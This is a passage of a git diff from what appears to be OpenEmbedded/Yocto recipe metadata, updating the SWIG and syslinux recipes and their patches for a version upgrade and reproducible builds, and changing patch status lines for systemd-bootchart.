---- a/Examples/test-suite/preproc_constants.i
-+++ b/Examples/test-suite/preproc_constants.i
-@@ -87,6 +87,9 @@
- #define EXPR_LOR 0xFF || 1
- #define EXPR_CONDITIONAL true ? 2 : 2.2
-
-+#define EXPR_WCHAR_MAX (0x7fffffff + L'\0')
-+#define EXPR_WCHAR_MIN (-EXPR_WCHAR_MAX - 1)
-+
- #define EXPR_CHAR_COMPOUND_ADD 'A' + 12
- #define EXPR_CHAR_COMPOUND_LSHIFT 'B' << 6
- #define H_SUPPRESS_SCALING_MAGIC (('s'<<24) | ('u'<<16) | ('p'<<8) | 'p')
-diff --git a/Source/CParse/parser.y b/Source/CParse/parser.y
-index 2e92cd0..273dadb 100644
---- a/Source/CParse/parser.y
-+++ b/Source/CParse/parser.y
-@@ -194,7 +194,7 @@ int SWIG_cparse_template_reduce(int treduce) {
- * ----------------------------------------------------------------------------- */
-
- static int promote_type(int t) {
-- if (t <= T_UCHAR || t == T_CHAR) return T_INT;
-+ if (t <= T_UCHAR || t == T_CHAR || t == T_WCHAR) return T_INT;
- return t;
- }
-
---
-2.9.5
-
diff --git a/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch b/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch
index 81df3e264f..f27f80ea18 100644
--- a/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch
+++ b/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch
@@ -13,13 +13,11 @@ http://sourceforge.net/mailarchive/message.php?msg_id=29179733
Source/Modules/main.cxx | 24 ++++++++++++++++++++++--
1 file changed, 22 insertions(+), 2 deletions(-)
-diff --git a/Source/Modules/main.cxx b/Source/Modules/main.cxx
-index d2f5d3b..cbb0a12 100644
--- a/Source/Modules/main.cxx
+++ b/Source/Modules/main.cxx
-@@ -26,6 +26,11 @@ char cvsroot_main_cxx[] = "$Id$";
- #include "cparse.h"
+@@ -25,6 +25,11 @@
#include <ctype.h>
+ #include <errno.h>
#include <limits.h> // for INT_MAX
+#ifndef _WIN32
+#include <cstddef>
@@ -29,7 +27,7 @@ index d2f5d3b..cbb0a12 100644
// Global variables
-@@ -902,9 +907,9 @@ int SWIG_main(int argc, char *argv[], Language *l) {
+@@ -934,9 +939,9 @@ int SWIG_main(int argc, char *argv[], co
// Check for SWIG_LIB environment variable
if ((c = getenv("SWIG_LIB")) == (char *) 0) {
@@ -40,7 +38,7 @@ index d2f5d3b..cbb0a12 100644
if (!(GetModuleFileName(0, buf, MAX_PATH) == 0 || (p = strrchr(buf, '\\')) == 0)) {
*(p + 1) = '\0';
SwigLib = NewStringf("%sLib", buf); // Native windows installation path
-@@ -914,7 +919,22 @@ int SWIG_main(int argc, char *argv[], Language *l) {
+@@ -946,7 +951,22 @@ int SWIG_main(int argc, char *argv[], co
if (Len(SWIG_LIB_WIN_UNIX) > 0)
SwigLibWinUnix = NewString(SWIG_LIB_WIN_UNIX); // Unix installation path using a drive letter (for msys/mingw)
#else
@@ -64,6 +62,3 @@ index d2f5d3b..cbb0a12 100644
#endif
} else {
SwigLib = NewString(c);
---
-1.7.9.5
-
diff --git a/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch b/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch
index 1b1128acab..fdb9760e89 100644
--- a/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch
+++ b/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch
@@ -4,16 +4,14 @@ Date: Tue, 17 Jun 2014 08:18:17 +0200
Subject: [PATCH] configure: use pkg-config for pcre detection
Signed-off-by: Koen Kooi <koen.kooi@linaro.org>
-Upstream-Status: pending
+Upstream-Status: Pending
---
configure.ac | 38 +++++++-------------------------------
1 file changed, 7 insertions(+), 31 deletions(-)
-diff --git a/configure.ac b/configure.ac
-index 0c984b7..6edcec1 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -70,38 +70,14 @@ AC_MSG_RESULT([$with_pcre])
+@@ -52,38 +52,14 @@ AC_MSG_RESULT([$with_pcre])
dnl To make configuring easier, check for a locally built PCRE using the Tools/pcre-build.sh script
if test x"${with_pcre}" = xyes ; then
@@ -59,6 +57,3 @@ index 0c984b7..6edcec1 100644
dnl CCache
---
-1.9.3
-
diff --git a/meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch b/meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch
deleted file mode 100644
index a91385916c..0000000000
--- a/meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch
+++ /dev/null
@@ -1,191 +0,0 @@
-From b6c0ef4b8f6e5c089ac7104b3aaba8f1d17b8b82 Mon Sep 17 00:00:00 2001
-From: Olly Betts <olly@survex.com>
-Date: Mon, 11 Jun 2018 15:51:53 +1200
-Subject: [PATCH] [Python] Fix new GCC8 warnings in generated code
-
-Avoid casts between incompatible function types where possible (when
-keyword args are in use, it is not possible to avoid such warnings as
-they are inherent in the design of Python's C API in that particular
-case). Fixes #1259.
-
-Upstream-Status: Backport
-[https://github.com/swig/swig/commit/7f9883011029674553a2a4b623d459f02b512458]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- Lib/python/pyinit.swg | 4 ++--
- Lib/python/pyrun.swg | 34 ++++++++++++++++++++++++++--------
- Source/Modules/python.cxx | 26 +++++++++++++-------------
- 3 files changed, 41 insertions(+), 23 deletions(-)
-
-diff --git a/Lib/python/pyinit.swg b/Lib/python/pyinit.swg
-index 2cc5828..6bf68c1 100644
---- a/Lib/python/pyinit.swg
-+++ b/Lib/python/pyinit.swg
-@@ -368,8 +368,8 @@ SWIG_init(void) {
- (char *)"this", &SwigPyBuiltin_ThisClosure, NULL, NULL, NULL
- };
- static SwigPyGetSet thisown_getset_closure = {
-- (PyCFunction) SwigPyObject_own,
-- (PyCFunction) SwigPyObject_own
-+ SwigPyObject_own,
-+ SwigPyObject_own
- };
- static PyGetSetDef thisown_getset_def = {
- (char *)"thisown", SwigPyBuiltin_GetterClosure, SwigPyBuiltin_SetterClosure, NULL, &thisown_getset_closure
-diff --git a/Lib/python/pyrun.swg b/Lib/python/pyrun.swg
-index ab1237f..3d0b1b3 100644
---- a/Lib/python/pyrun.swg
-+++ b/Lib/python/pyrun.swg
-@@ -465,6 +465,14 @@ SwigPyObject_repr(SwigPyObject *v, PyObject *args)
- return repr;
- }
-
-+/* We need a version taking two PyObject* parameters so it's a valid
-+ * PyCFunction to use in swigobject_methods[]. */
-+SWIGRUNTIME PyObject *
-+SwigPyObject_repr2(PyObject *v, PyObject *SWIGUNUSEDPARM(args))
-+{
-+ return SwigPyObject_repr((SwigPyObject*)v);
-+}
-+
- SWIGRUNTIME int
- SwigPyObject_compare(SwigPyObject *v, SwigPyObject *w)
- {
-@@ -594,11 +602,7 @@ SwigPyObject_append(PyObject* v, PyObject* next)
- }
-
- SWIGRUNTIME PyObject*
--#ifdef METH_NOARGS
--SwigPyObject_next(PyObject* v)
--#else
- SwigPyObject_next(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
--#endif
- {
- SwigPyObject *sobj = (SwigPyObject *) v;
- if (sobj->next) {
-@@ -633,6 +637,20 @@ SwigPyObject_acquire(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
- return SWIG_Py_Void();
- }
-
-+#ifdef METH_NOARGS
-+static PyObject*
-+SwigPyObject_disown2(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
-+{
-+ return SwigPyObject_disown(v);
-+}
-+
-+static PyObject*
-+SwigPyObject_acquire2(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
-+{
-+ return SwigPyObject_acquire(v);
-+}
-+#endif
-+
- SWIGINTERN PyObject*
- SwigPyObject_own(PyObject *v, PyObject *args)
- {
-@@ -673,12 +691,12 @@ SwigPyObject_own(PyObject *v, PyObject *args)
- #ifdef METH_O
- static PyMethodDef
- swigobject_methods[] = {
-- {(char *)"disown", (PyCFunction)SwigPyObject_disown, METH_NOARGS, (char *)"releases ownership of the pointer"},
-- {(char *)"acquire", (PyCFunction)SwigPyObject_acquire, METH_NOARGS, (char *)"acquires ownership of the pointer"},
-+ {(char *)"disown", (PyCFunction)SwigPyObject_disown2, METH_NOARGS, (char *)"releases ownership of the pointer"},
-+ {(char *)"acquire", (PyCFunction)SwigPyObject_acquire2,METH_NOARGS, (char *)"acquires ownership of the pointer"},
- {(char *)"own", (PyCFunction)SwigPyObject_own, METH_VARARGS, (char *)"returns/sets ownership of the pointer"},
- {(char *)"append", (PyCFunction)SwigPyObject_append, METH_O, (char *)"appends another 'this' object"},
- {(char *)"next", (PyCFunction)SwigPyObject_next, METH_NOARGS, (char *)"returns the next 'this' object"},
-- {(char *)"__repr__",(PyCFunction)SwigPyObject_repr, METH_NOARGS, (char *)"returns object representation"},
-+ {(char *)"__repr__",(PyCFunction)SwigPyObject_repr2, METH_NOARGS, (char *)"returns object representation"},
- {0, 0, 0, 0}
- };
- #else
-@@ -689,7 +707,7 @@ swigobject_methods[] = {
- {(char *)"own", (PyCFunction)SwigPyObject_own, METH_VARARGS, (char *)"returns/sets ownership of the pointer"},
- {(char *)"append", (PyCFunction)SwigPyObject_append, METH_VARARGS, (char *)"appends another 'this' object"},
- {(char *)"next", (PyCFunction)SwigPyObject_next, METH_VARARGS, (char *)"returns the next 'this' object"},
-- {(char *)"__repr__",(PyCFunction)SwigPyObject_repr, METH_VARARGS, (char *)"returns object representation"},
-+ {(char *)"__repr__",(PyCFunction)SwigPyObject_repr, METH_VARARGS, (char *)"returns object representation"},
- {0, 0, 0, 0}
- };
- #endif
-diff --git a/Source/Modules/python.cxx b/Source/Modules/python.cxx
-index a6801fc..72eaa77 100644
---- a/Source/Modules/python.cxx
-+++ b/Source/Modules/python.cxx
-@@ -1109,7 +1109,7 @@ public:
- * ------------------------------------------------------------ */
- int add_pyinstancemethod_new() {
- String *name = NewString("SWIG_PyInstanceMethod_New");
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction)%s, METH_O, NULL},\n", name, name);
-+ Printf(methods, "\t { \"%s\", %s, METH_O, NULL},\n", name, name);
- Delete(name);
- return 0;
- }
-@@ -2479,17 +2479,17 @@ public:
- if (!kw) {
- if (n && funpack) {
- if (num_required == 0 && num_arguments == 0) {
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction)%s, METH_NOARGS, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_NOARGS, ", name, function);
- } else if (num_required == 1 && num_arguments == 1) {
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction)%s, METH_O, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_O, ", name, function);
- } else {
-- Printf(methods, "\t { (char *)\"%s\", %s, METH_VARARGS, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_VARARGS, ", name, function);
- }
- } else {
-- Printf(methods, "\t { (char *)\"%s\", %s, METH_VARARGS, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_VARARGS, ", name, function);
- }
- } else {
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction) %s, METH_VARARGS | METH_KEYWORDS, ", name, function);
-+ Printf(methods, "\t { \"%s\", (PyCFunction)%s, METH_VARARGS|METH_KEYWORDS, ", name, function);
- }
-
- if (!n) {
-@@ -3857,7 +3857,7 @@ public:
- if (shadow) {
- if (builtin) {
- String *rname = SwigType_namestr(real_classname);
-- Printf(builtin_methods, " { \"__disown__\", (PyCFunction) Swig::Director::swig_pyobj_disown< %s >, METH_NOARGS, \"\" },\n", rname);
-+ Printf(builtin_methods, " { \"__disown__\", Swig::Director::swig_pyobj_disown< %s >, METH_NOARGS, \"\" },\n", rname);
- Delete(rname);
- } else {
- String *symname = Getattr(n, "sym:name");
-@@ -4694,13 +4694,13 @@ public:
- int argcount = Getattr(n, "python:argcount") ? atoi(Char(Getattr(n, "python:argcount"))) : 2;
- String *ds = have_docstring(n) ? cdocstring(n, AUTODOC_FUNC) : NewString("");
- if (check_kwargs(n)) {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_VARARGS|METH_KEYWORDS, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", (PyCFunction)%s, METH_VARARGS|METH_KEYWORDS, \"%s\" },\n", symname, wname, ds);
- } else if (argcount == 0) {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_NOARGS, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", %s, METH_NOARGS, \"%s\" },\n", symname, wname, ds);
- } else if (argcount == 1) {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_O, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", %s, METH_O, \"%s\" },\n", symname, wname, ds);
- } else {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_VARARGS, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", %s, METH_VARARGS, \"%s\" },\n", symname, wname, ds);
- }
- Delete(fullname);
- Delete(wname);
-@@ -4801,10 +4801,10 @@ public:
- Append(pyflags, "METH_VARARGS");
- if (have_docstring(n)) {
- String *ds = cdocstring(n, AUTODOC_STATICFUNC);
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, %s, (char *) \"%s\" },\n", symname, wname, pyflags, ds);
-+ Printf(builtin_methods, " { \"%s\", (PyCFunction)%s, %s, \"%s\" },\n", symname, wname, pyflags, ds);
- Delete(ds);
- } else {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, %s, \"\" },\n", symname, wname, pyflags);
-+ Printf(builtin_methods, " { \"%s\", (PyCFunction)%s, %s, \"\" },\n", symname, wname, pyflags);
- }
- Delete(fullname);
- Delete(wname);
---
-2.7.4
-
diff --git a/meta/recipes-devtools/swig/swig/determinism.patch b/meta/recipes-devtools/swig/swig/determinism.patch
new file mode 100644
index 0000000000..84c399182a
--- /dev/null
+++ b/meta/recipes-devtools/swig/swig/determinism.patch
@@ -0,0 +1,17 @@
+Remove the compiler commandline/platform from the compiled binary as this
+breaks reproducibilty.
+
+Upstream-Status: Inappropriate [OE reproducibiity fix upstream unlikely to take]
+RP 2021/3/1
+
+
+--- a/Source/Modules/main.cxx
++++ b/Source/Modules/main.cxx
+@@ -642,7 +642,6 @@ static void getoptions(int argc, char *a
+ }
+ } else if (strcmp(argv[i], "-version") == 0) {
+ fprintf(stdout, "\nSWIG Version %s\n", Swig_package_version());
+- fprintf(stdout, "\nCompiled with %s [%s]\n", SWIG_CXX, SWIG_PLATFORM);
+ fprintf(stdout, "\nConfigured options: %cpcre\n",
+ #ifdef HAVE_PCRE
+ '+'
diff --git a/meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch b/meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch
deleted file mode 100644
index 10e4afd1ba..0000000000
--- a/meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 9825fcbab5c4ddd867432f9922bebfbec7b78af0 Mon Sep 17 00:00:00 2001
-From: Mark Dufour <m.dufour@kopano.com>
-Date: Tue, 14 Feb 2017 10:34:37 +0100
-Subject: [PATCH] [Coverity] fix issue reported for SWIG_Python_FixMethods
-
-Fix Coverity issue reported for SWIG_Python_FixMethods:
-
-"buffer_size: Calling strncpy with a source string whose length
-(10 chars) is greater than or equal to the size argument (10)
-will fail to null-terminate buff."
-
-The issue is only reported for the "swig_ptr: " line, but for
-consistency we replace both occurrences of strncpy with memcpy.
----
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport [https://github.com/swig/swig/pull/898]
-
- Lib/python/pyinit.swg | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-Index: swig-3.0.12/Lib/python/pyinit.swg
-===================================================================
---- swig-3.0.12.orig/Lib/python/pyinit.swg
-+++ swig-3.0.12/Lib/python/pyinit.swg
-@@ -306,9 +306,9 @@ SWIG_Python_FixMethods(PyMethodDef *meth
- char *ndoc = (char*)malloc(ldoc + lptr + 10);
- if (ndoc) {
- char *buff = ndoc;
-- strncpy(buff, methods[i].ml_doc, ldoc);
-+ memcpy(buff, methods[i].ml_doc, ldoc);
- buff += ldoc;
-- strncpy(buff, "swig_ptr: ", 10);
-+ memcpy(buff, "swig_ptr: ", 10);
- buff += 10;
- SWIG_PackVoidPtr(buff, ptr, ty->name, lptr);
- methods[i].ml_doc = ndoc;
diff --git a/meta/recipes-devtools/swig/swig_3.0.12.bb b/meta/recipes-devtools/swig/swig_3.0.12.bb
deleted file mode 100644
index 45026c9700..0000000000
--- a/meta/recipes-devtools/swig/swig_3.0.12.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require ${BPN}.inc
-
-SRC_URI += "file://0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch \
- file://0001-configure-use-pkg-config-for-pcre-detection.patch \
- file://0001-Add-Node-7.x-aka-V8-5.2-support.patch \
- file://swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch \
- file://Python-Fix-new-GCC8-warnings-in-generated-code.patch \
- file://0001-Fix-generated-code-for-constant-expressions-containi.patch \
- "
-SRC_URI[md5sum] = "82133dfa7bba75ff9ad98a7046be687c"
-SRC_URI[sha256sum] = "7cf9f447ae7ed1c51722efc45e7f14418d15d7a1e143ac9f09a668999f4fc94d"
-
diff --git a/meta/recipes-devtools/swig/swig_4.0.2.bb b/meta/recipes-devtools/swig/swig_4.0.2.bb
new file mode 100644
index 0000000000..718ad89a5d
--- /dev/null
+++ b/meta/recipes-devtools/swig/swig_4.0.2.bb
@@ -0,0 +1,7 @@
+require ${BPN}.inc
+
+SRC_URI += "file://0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch \
+ file://0001-configure-use-pkg-config-for-pcre-detection.patch \
+ file://determinism.patch \
+ "
+SRC_URI[sha256sum] = "d53be9730d8d58a16bf0cbd1f8ac0c0c3e1090573168bfa151b01eb47fa906fc"
diff --git a/meta/recipes-devtools/syslinux/syslinux/determinism.patch b/meta/recipes-devtools/syslinux/syslinux/determinism.patch
new file mode 100644
index 0000000000..2fb8c64df3
--- /dev/null
+++ b/meta/recipes-devtools/syslinux/syslinux/determinism.patch
@@ -0,0 +1,22 @@
+In order to build deterministic binaries, we need to sort the wildcard expansion
+so the libraries are linked in the same order each time. This fixes reproducibility
+issues within syslinux builds.
+
+Upstream-Status: Pending
+RP 2021/3/1
+
+Index: syslinux-6.04-pre2/mk/lib.mk
+===================================================================
+--- syslinux-6.04-pre2.orig/mk/lib.mk
++++ syslinux-6.04-pre2/mk/lib.mk
+@@ -130,8 +130,8 @@ LIBENTRY_OBJS = \
+ exit.o
+
+ LIBGCC_OBJS = \
+- $(patsubst $(com32)/lib/%.c,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.c)) \
+- $(patsubst $(com32)/lib/%.S,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.S))
++ $(sort $(patsubst $(com32)/lib/%.c,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.c))) \
++ $(sort $(patsubst $(com32)/lib/%.S,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.S)))
+
+ LIBCONSOLE_OBJS = \
+ \
diff --git a/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb b/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb
index 3e7eef3a75..62aa1b0e87 100644
--- a/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb
+++ b/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb
@@ -1,13 +1,11 @@
SUMMARY = "Multi-purpose linux bootloader"
HOMEPAGE = "http://www.syslinux.org/"
+DESCRIPTION = "The Syslinux Project covers lightweight bootloaders for MS-DOS FAT filesystems (SYSLINUX), network booting (PXELINUX), bootable "El Torito" CD-ROMs (ISOLINUX), and Linux ext2/ext3/ext4 or btrfs filesystems (EXTLINUX). The project also includes MEMDISK, a tool to boot legacy operating systems (such as DOS) from nontraditional media; it is usually used in conjunction with PXELINUX and ISOLINUX."
LICENSE = "GPLv2+"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
file://README;beginline=35;endline=41;md5=558f2c71cb1fb9ba511ccd4858e48e8a"
-# If you really want to run syslinux, you need mtools. We just want the
-# ldlinux.* stuff for now, so skip mtools-native
DEPENDS = "nasm-native util-linux e2fsprogs"
-PV = "6.04-pre2"
SRC_URI = "https://www.zytor.com/pub/syslinux/Testing/6.04/syslinux-${PV}.tar.xz \
file://syslinux-remove-clean-script.patch \
@@ -22,86 +20,105 @@ SRC_URI = "https://www.zytor.com/pub/syslinux/Testing/6.04/syslinux-${PV}.tar.xz
file://0009-linux-syslinux-implement-install_bootblock.patch \
file://0010-Workaround-multiple-definition-of-symbol-errors.patch \
file://0001-install-don-t-install-obsolete-file-com32.ld.patch \
+ file://determinism.patch \
"
SRC_URI[md5sum] = "2b31c78f087f99179feb357da312d7ec"
SRC_URI[sha256sum] = "4441a5d593f85bb6e8d578cf6653fb4ec30f9e8f4a2315a3d8f2d0a8b3fadf94"
+# remove at next version upgrade or when output changes
+PR = "r1"
+
+RECIPE_NO_UPDATE_REASON = "6.04-pre3 is broken"
UPSTREAM_CHECK_URI = "https://www.zytor.com/pub/syslinux/"
UPSTREAM_CHECK_REGEX = "syslinux-(?P<pver>.+)\.tar"
UPSTREAM_VERSION_UNKNOWN = "1"
-COMPATIBLE_HOST = '(x86_64|i.86).*-(linux|freebsd.*)'
+# We can build the native parts anywhere, but the target has to be x86
+COMPATIBLE_HOST:class-target = '(x86_64|i.86).*-(linux|freebsd.*)'
+
# Don't let the sanity checker trip on the 32 bit real mode BIOS binaries
-INSANE_SKIP_${PN}-misc = "arch"
-INSANE_SKIP_${PN}-chain = "arch"
+INSANE_SKIP:${PN}-misc = "arch"
+INSANE_SKIP:${PN}-chain = "arch"
+
+# When building the installer, CC is used to link. When building the bootloader,
+# LD is used. However, these variables assume that GCC is used and break the
+# build, so unset them.
+TARGET_LDFLAGS = ""
+SECURITY_LDFLAGS = ""
+LDFLAGS_SECTION_REMOVAL = ""
+
+CFLAGS:append = " -DNO_INLINE_FUNCS"
EXTRA_OEMAKE = " \
BINDIR=${bindir} SBINDIR=${sbindir} LIBDIR=${libdir} \
DATADIR=${datadir} MANDIR=${mandir} INCDIR=${includedir} \
+ CC="${CC} ${CFLAGS} ${LDFLAGS}" \
+ LD="${LD} ${LDFLAGS}" \
+ OBJDUMP="${OBJDUMP}" \
+ OBJCOPY="${OBJCOPY}" \
+ AR="${AR}" \
+ STRIP="${STRIP}" \
+ NM="${NM}" \
+ RANLIB="${RANLIB}" \
"
+#
+# Tasks for native/nativesdk which just build the installer.
+#
do_configure() {
- # drop win32 targets or build fails
- sed -e 's,win32/\S*,,g' -i Makefile
-
- # clean installer executables included in source tarball
- oe_runmake clean firmware="efi32" EFIINC="${includedir}"
- # NOTE: There is a temporary work around above to specify
- # the efi32 as the firmware else the pre-built bios
- # files get erased contrary to the doc/distib.txt
- # In the future this should be "bios" and not "efi32".
+ oe_runmake firmware="bios" clean
}
do_compile() {
- # Make sure the recompile is OK.
- # Though the ${B} should always exist, still check it before find and rm.
- [ -d "${B}" ] && find ${B} -name '.*.d' -type f -exec rm -f {} \;
-
- # Rebuild only the installer; keep precompiled bootloaders
- # as per author's request (doc/distrib.txt)
- oe_runmake CC="${CC} ${CFLAGS}" \
- LD="${LD}" LDFLAGS="${LDFLAGS}" \
- OBJDUMP="${OBJDUMP}" \
- OBJCOPY="${OBJCOPY}" \
- AR="${AR}" \
- STRIP="${STRIP}" \
- NM="${NM}" \
- RANLIB="${RANLIB}" \
- firmware="bios" installer
+ oe_runmake firmware="bios" installer
}
do_install() {
- oe_runmake CC="${CC} ${CFLAGS}" LD="${LD}" \
- OBJDUMP="${OBJDUMP}" \
- OBJCOPY="${OBJCOPY}" \
- AR="${AR}" \
- STRIP="${STRIP}" \
- NM="${NM}" \
- RANLIB="${RANLIB}" \
- firmware="bios" install INSTALLROOT="${D}"
+ install -d ${D}${bindir}
+ install \
+ ${B}/bios/mtools/syslinux \
+ ${B}/bios/extlinux/extlinux \
+ ${B}/bios/utils/isohybrid \
+ ${D}${bindir}
+}
+
+#
+# Tasks for target which ship the precompiled bootloader and installer
+#
+do_configure:class-target() {
+ # No need to do anything as we're mostly shipping the precompiled binaries
+ :
+}
+
+do_compile:class-target() {
+ # No need to do anything as we're mostly shipping the precompiled binaries
+ :
+}
+
+do_install:class-target() {
+ oe_runmake firmware="bios" install INSTALLROOT="${D}"
install -d ${D}${datadir}/syslinux/
install -m 644 ${S}/bios/core/ldlinux.sys ${D}${datadir}/syslinux/
install -m 644 ${S}/bios/core/ldlinux.bss ${D}${datadir}/syslinux/
- install -m 755 ${S}/bios/linux/syslinux-nomtools ${D}${bindir}/
}
PACKAGES += "${PN}-nomtools ${PN}-extlinux ${PN}-mbr ${PN}-chain ${PN}-pxelinux ${PN}-isolinux ${PN}-misc"
-RDEPENDS_${PN} += "mtools"
-RDEPENDS_${PN}-nomtools += "libext2fs"
-RDEPENDS_${PN}-misc += "perl"
-
-FILES_${PN} = "${bindir}/syslinux"
-FILES_${PN}-nomtools = "${bindir}/syslinux-nomtools"
-FILES_${PN}-extlinux = "${sbindir}/extlinux"
-FILES_${PN}-mbr = "${datadir}/${BPN}/mbr.bin"
-FILES_${PN}-chain = "${datadir}/${BPN}/chain.c32"
-FILES_${PN}-isolinux = "${datadir}/${BPN}/isolinux.bin"
-FILES_${PN}-pxelinux = "${datadir}/${BPN}/pxelinux.0"
-FILES_${PN}-dev += "${datadir}/${BPN}/com32/lib*${SOLIBS} ${datadir}/${BPN}/com32/include ${datadir}/${BPN}/com32/com32.ld"
-FILES_${PN}-staticdev += "${datadir}/${BPN}/com32/lib*.a ${libdir}/${BPN}/com32/lib*.a"
-FILES_${PN}-misc = "${datadir}/${BPN}/* ${libdir}/${BPN}/* ${bindir}/*"
+RDEPENDS:${PN} += "mtools"
+RDEPENDS:${PN}-nomtools += "libext2fs"
+RDEPENDS:${PN}-misc += "perl"
+
+FILES:${PN} = "${bindir}/syslinux"
+FILES:${PN}-nomtools = "${bindir}/syslinux-nomtools"
+FILES:${PN}-extlinux = "${sbindir}/extlinux"
+FILES:${PN}-mbr = "${datadir}/${BPN}/mbr.bin"
+FILES:${PN}-chain = "${datadir}/${BPN}/chain.c32"
+FILES:${PN}-isolinux = "${datadir}/${BPN}/isolinux.bin"
+FILES:${PN}-pxelinux = "${datadir}/${BPN}/pxelinux.0"
+FILES:${PN}-dev += "${datadir}/${BPN}/com32/lib*${SOLIBS} ${datadir}/${BPN}/com32/include ${datadir}/${BPN}/com32/com32.ld"
+FILES:${PN}-staticdev += "${datadir}/${BPN}/com32/lib*.a ${libdir}/${BPN}/com32/lib*.a"
+FILES:${PN}-misc = "${datadir}/${BPN}/* ${libdir}/${BPN}/* ${bindir}/*"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
index f392ceafcc..12eecc989b 100644
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
@@ -12,8 +12,8 @@ systemd/0013-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
Based on work by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Tim Orling <timothy.t.orling@linux.intel.com>
+Upstream-Status: Submitted [https://github.com/systemd/systemd-bootchart/pull/47]
---
-Upstream-Status: Pending
src/util.h | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch
index 196272f7a2..8be3bed395 100644
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch
@@ -10,8 +10,8 @@ Original patch author: Emil Renner Berthing <systemd@esmil.dk>
Includes work by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Tim Orling <timothy.t.orling@linux.intel.com>
+Upstream-Status: Submitted [https://github.com/systemd/systemd-bootchart/pull/47]
---
-Upstream-Status: Pending
Makefile.am | 4 +
configure.ac | 3 +
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch
index 7670d95f07..c2c276e458 100644
